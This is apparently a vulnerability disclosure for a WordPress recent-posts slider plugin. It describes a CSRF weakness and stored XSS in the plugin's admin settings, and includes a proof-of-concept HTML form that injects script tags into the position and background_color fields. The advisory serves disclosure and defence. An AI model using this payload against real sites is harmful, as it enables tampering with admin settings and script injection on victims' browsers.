----------------------------------------------------------------

## Description:
----------------------------------------------------------------
This plugin displays a widget on your site that will slide into the screen when you click on it and it will display a list of recent posts with thumbnails

## CSRF:
----------------------------------------------------------------
It is possible to change the plugins admin settings by tricking a logged in admin to visit a crafted page.


## Stored XSS:
----------------------------------------------------------------
Settings data from the admin page is stored unsanitized and shown on the plugin's admin page. This allows an attacker to perform XSS through the settings fields.

PoC:
Log in as admin and then submit the following form.
<form method="POST" action="http://[DOMAIN]/wp-admin/admin.php?page=sliding-recent-posts.php">
<input type="text" name="num_posts" value="3"><br />
<input type="text" name="position" value=""><script>alert(1)</script>"><br />
<input type="text" name="background_color" value="#798746"/><script>alert(2)</script>"><br />
<input type="text" name="font_color" value="#ffffff"><br />
<input type="text" name="ll__opt[disable]" value="Save"><br />
<input type="text" name="srp_save" value="save"><br />
<input type="submit">
</form>


## Solution
----------------------------------------------------------------
No fix have been released.

WordPress have been notified and the plugin has been closed until it is updated.
